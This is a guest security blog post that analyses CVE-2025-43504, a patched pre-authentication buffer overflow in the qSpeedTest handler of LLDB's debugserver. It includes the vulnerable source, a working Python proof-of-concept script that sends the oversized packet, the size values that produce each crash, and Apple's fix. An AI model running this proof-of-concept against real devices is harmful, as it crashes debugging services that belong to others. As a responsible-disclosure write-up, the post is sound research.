• Objective-See
    a non-profit 501(c)(3) foundation.
    • About
    • #OBTS
    • Book Series
    • Objective-We
    • Our Store/Swag
    • Malware Collection
  • blog
  • tools

When Good /bins Go Bad
A Remote Pre-Authentication Overflow in LLDB's debugserver
by: Nathaniel Oh / December 7, 2025

The Objective-See Foundation is supported by:





Note:

In this guest blog post, Nathaniel Oh details a recent bug he discovered and reported to Apple — a remote pre-authentication buffer overflow in LLDB’s debugserver, now patched as CVE-2025-43504.

Mahalo to Nathaniel for sharing his research! 🙏🏽

Introduction

Growing up, I always enjoyed digging through the DVD bins at my local Walmart. I noticed a lot of the same movies were left on top, but if you actually dug in, you’d find more interesting and niche titles.

When a program overflows a buffer, you’re essentially reaching into its bargain bin. Depending on how far you reach, the DVDs - or in this case, the overwritten structures in memory - can change.

Today’s bargain /bin is CVE-2025-43504: A remote pre-authentication global buffer overflow I found in LLDB’s debugserver.


How Did We Get Here?

During application development, developers often find the need to debug their app on a physical iOS device. To accomplish this, Xcode mounts a Developer Disk Image on the target iPhone and then pairs with it.

Once paired, the macOS host is able to communicate with the iOS client using the debugserver installed onto the client. Now any client that can establish a GDB-remote session to the device’s debugserver can reach the qSpeedTest handler and overflow the vulnerable buffer.

Let’s take a look at the Xcode 26.1 security release page to better understand how Apple categorized CVE-2025-43504:

CVE-2025-43504

Due to modern-day software mitigations, Apple considers buffer overflows to primarily be a denial-of-service issue rather than a corruption primitive. As we will explore today, this is generally true as an attacker will need to overcome several hurdles and likely pair this issue with another bug to achieve arbitrary code execution.

One Small Step for Pwn, One Giant Leap for Pwnkind

If you would like to experiment with a pre-patched version of debugserver, use the following commit or any commits prior to ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de:

git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c

You’re Going to Need a Bigger Debugger

Before the patch in RNBRemote.cpp, any remote user who could connect to an iOS device’s debugserver could send a pre-authentication qSpeedTest packet to RNBRemote::HandlePacket_qSpeedTest and corrupt adjacent structures in the global data segment of debugserver.

However, there’s an important caveat: we only control the length of the corruption. The contents of the payload are fixed to a stream of 'a' characters. While students may enjoy the consistently high marks, the practical utility of this overflow is greatly limited by the fact that we can’t control the actual bytes being written-only how far the flood of 'a's goes.

Now, let’s take a look under the hood of RNBRemote::HandlePacket_qSpeedTest to see exactly what is going on:

rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
  p += strlen("qSpeedTest:response_size:");
  char *end = NULL;
  errno = 0;
  // We control the length of response_size
  uint64_t response_size = ::strtoul(p, &end, 16); 
  if (errno != 0)
    return HandlePacket_ILLFORMED(
        __FILE__, __LINE__, p,
        "Didn't find response_size value at right offset");
  else if (*end == ';') {
    static char g_data[4 * 1024 * 1024 + 16];
    strcpy(g_data, "data:");
    // The overflow of g_data by a's occurs here
    memset(g_data + 5, 'a', response_size);
    g_data[response_size + 5] = '\0';
    return SendPacket(g_data);
  } else {
    return SendErrorPacket("E79");
  }
}

The role of RNBRemote::HandlePacket_qSpeedTest() is to process incoming qSpeedTest:response_size:<hex>; packets without requiring authentication from a remote user who can communicate to the iOS device’s debugserver binary.

However, once a remote user is able to send a qSpeedTest:response_size:<hex>; packet to debugserver, no authentication checks occur within debugserver prior to processing the user-supplied response_size. Therefore, any user who can communicate with an iOS device mounted with a Developer Disk Image is able to overflow debugserver via a qSpeedTest:response_size:<hex>; packet.

Just Keep Swimmin’ Swimmin’ Swimmin'

Now that we’ve reached the vulnerable function RNBRemote::HandlePacket_qSpeedTest(), let’s examine exactly how the overflow occurs. First, the user-supplied size <hex> in the qSpeedTest:response_size:<hex>; packet is extracted and stored in the variable response_size:

p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);

If parsing succeeds and the next character is a semicolon, a function‑local static 4 MiB + 16‑byte buffer g_data is initialized and seeded with the ASCII header "data:":

if (errno != 0)
  return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
                                "Didn't find response_size value at right offset");
else if (*end == ';') {
  static char g_data[4 * 1024 * 1024 + 16];
  strcpy(g_data, "data:");

Oops, I Did It Again

Putting it all together, memset then fills the static 4 MiB + 16‑byte buffer g_data with 'a' using the user-controlled response_size value as the number of 'a's to use.

  // The overflow of g_data by 'a's occurs here
  memset(g_data + 5, 'a', response_size);
  g_data[response_size + 5] = '\0';

Therefore, whenever a remote LLDB client sends a qSpeedTest:response_size:<hex>; packet with a response_size greater than the 4 MiB + 16‑byte buffer, a buffer overflow occurs and corrupts adjacent global variables stored in the global data segment (.bss) of debugserver.


When Good Bins Go Bad

Now that we understand the architecture behind the overflow, let’s now dive into the actual mechanics of the vulnerability. To start things off, let’s use the following Python program to explore the corruption primitives gained through the g_data overflow:

import argparse, socket

def frame(payload: bytes) -> bytes:
    return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))

def send_one(host: str, port: int, resp_hex: str):
    payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
    pkt = frame(payload)
    s = socket.create_connection((host, port), timeout=5.0)
    s.settimeout(1.5)
    try:
        # send the oversized qSpeedTest
        s.sendall(pkt)
        try:
            _ = s.recv(1)  # ACK (best effort)
        except Exception:
            pass

        # Optional tiny nudge to exercise pointer use
        try:
            s.sendall(frame(b"?"))
            _ = s.recv(1)
        except Exception:
            pass

    finally:
        try: s.close()
        except Exception: pass

def main():
    ap = argparse.ArgumentParser(description="Send a single qSpeedTest packet with chosen response_size")
    ap.add_argument("--host", default="127.0.0.1")
    ap.add_argument("--port", type=int, default=1234)
    ap.add_argument("--size", required=True,
                    help="Hex string for response_size (no 0x prefix), e.g. 40100a or 500000")
    args = ap.parse_args()

    print(f"[i] Sending qSpeedTest:response_size:0x{args.size} to {args.host}:{args.port}")
    send_one(args.host, args.port, args.size)
    print("[i] Done. If debugserver crashed, check the log for SIGSEGV/SIGBUS and fault address.")

if __name__ == "__main__":
    main()

response_size 0x4004AB: No Crash

After launching debugserver, we run the following python3 command and provide the response_size of 4004AB:

python3 poc.py --host 127.0.0.1 --port 1234 --size 4004AB

We notice that debugserver does not crash and returns as normal:

No Crash

While we are technically out-of-bounds, g_data is terminated with a \0 byte, so the neighboring logging function pointer g_log_callback is only overridden by a NULL byte, keeping the entire pointer NULL.

response_size 0x4004AC - 0x40052B: First Bus Error

After launching debugserver, we run the following python3 command and provide the response_size of 0x4004AC:

python3 poc.py --host 127.0.0.1 --port 1234 --size 0x4004AC

Great Scott!

First Bus Error

By providing an additional byte, we pushed past the NULL tail and ended up dereferencing the neighboring g_log_callback pointer with a value of 0x61, resulting in a crash. Now, let’s continuously increment our --size parameter by one and see what happens:

Overflow Timelapse

As we can see, we now control the value of g_log_callback. Well, partially, we really only control how many bytes in g_log_callback would be equal to 0x61.

We can see this occur in _DNBLogVAPrintf:

static inline void _DNBLogVAPrintf(uint32_t flags, const char *format,
                                   va_list args) {
  static std::recursive_mutex g_LogThreadedMutex;
  std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);

  if (g_log_callback)
    g_log_callback(g_log_baton, flags, format, args);
}

Since g_log_callback is non-NULL, the mutex is locked and proceeds to call our corrupted pointer and crashes. Now, after a response_size of 0x4004B3, we stop seeing any real change to the crash address or the corresponding stack trace until after a 0x7F offset is added to response_size. Logically, this makes sense, because once the g_log_callback pointer becomes corrupted, any follow-on corruption within other logging structures become irrelevant due to the initial crash by dereferencing g_log_callback.

Interestingly, on a production release of macOS prior to the patch, I was able to use this partial pointer control to overwrite various user-space pointers in memory:

0x0000000105006169
0x0000000103006169
0x0000000a0a006169
0x00000009d8006169
0x0000000103006169
0x0000000734006169
0x0000000100006169

For some reason, the trailing byte of each address was always incremented by 0x8 bytes. However, if we were able to solve the alignment issue created by the terminating 0x6169 bytes, and were somehow able to predict and control the data dereferenced by the overwritten pointer, we would theoretically be able to redirect the control flow and eventually gain code execution.

response_size 0x40052C - 0x402C62: abort() Error

We briefly discussed the mutex locking prior to dereferencing the corrupted g_log_callback pointer. Now, at the response_size of 0x40052C, the actual mutex itself becomes corrupted:

abort() Error

We notice that the issue appeared when _DNBLogVAPrintf ran the lock_guard construction:

std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);

Based on the stack trace, we see that lock_guard faults when __m_.lock is called:

    31│   _LIBCPP_HIDE_FROM_ABI explicit lock_guard(mutex_type& __m) _LIBCPP_THREAD_SAFETY_ANNOTATION(acquire_capability(__m))
    32│       : __m_(__m) {
    33│     __m_.lock();                                                                                
      │          ▲
    34│   }
    35│

I’m a Function Playing a Function Disguised as Another Function

Examining further, let’s take a look at the function definition of std::recursive_mutex:

void recursive_mutex::lock() {
  int ec = __libcpp_recursive_mutex_lock(&__m_);
  if (ec)
    std::__throw_system_error(ec, "recursive_mutex lock failed");
}

It appears to be a wrapper for __libcpp_recursive_mutex_lock:

inline _LIBCPP_HIDE_FROM_ABI _LIBCPP_NO_THREAD_SAFETY_ANALYSIS int
__libcpp_recursive_mutex_lock(__libcpp_recursive_mutex_t* __m) {
  return pthread_mutex_lock(__m);
}

Which then in-turn appears to be a wrapper for pthread_mutex_lock:

PTHREAD_NOEXPORT_VARIANT
int
pthread_mutex_lock(pthread_mutex_t *mutex)
{
    return _pthread_mutex_lock(mutex, false);
}

Which is another wrapper for _pthread_mutex_lock… But we don’t need to go that far.

Because the pthread_mutex_t pointer is corrupted by our overflow, pthread_mutex_lock throws std::system_error("recursive_mutex lock failed") and the program then throws an abort() and terminates.

Due to the program abort, exploitation of the response_size between 0x40052C and 0x402C62 is significantly more challenging since we are corrupting a synchronization primitive given the additional checks performed by macOS.

response_size 0x402C63 and Beyond: Final Bus Error

Now, when we use a response_size of 0x402C63 or greater, the CPU faults in RNBRemote::HandlePacket_qSpeedTest as soon as memset crosses the boundary into whatever guard page or unmapped region the kernel placed after the .bss segment in memory:

Final Bus Error

This final overflow variant isn’t as interesting as there is no straight-forward way to controlling program execution.


Just Patch It (Patch It)

Now that we’ve covered the issue itself, let’s examine how Apple patched it:

Patch

According to the patch description,

Change this allocation to be on heap, and impose a maximum size that can be tested (4MB, for now).

We see two major changes:

  1. The allocation is on the heap, rather than in the global data segment (.bss) of debugserver
  2. A maximum size of 4MB is imposed on the allocation where previously no size checks were performed.

So Long, and Thanks for All the Fish

Given the extensive closed-source ecosystem behind Apple’s software and systems, it’s always a challenge to reliably discover and understand software defects.

However, there are always open-source dependencies that Apple relies on, and if you can find an issue in one of them, chances are there may be effects felt downstream.

Good luck hunting and be sure to responsibly disclose any issues you may find 😉

💕 Support:

Love these blog posts? You can support them via my Patreon page!



This website uses cookies to improve your experience.
  • Signup for our newsletter »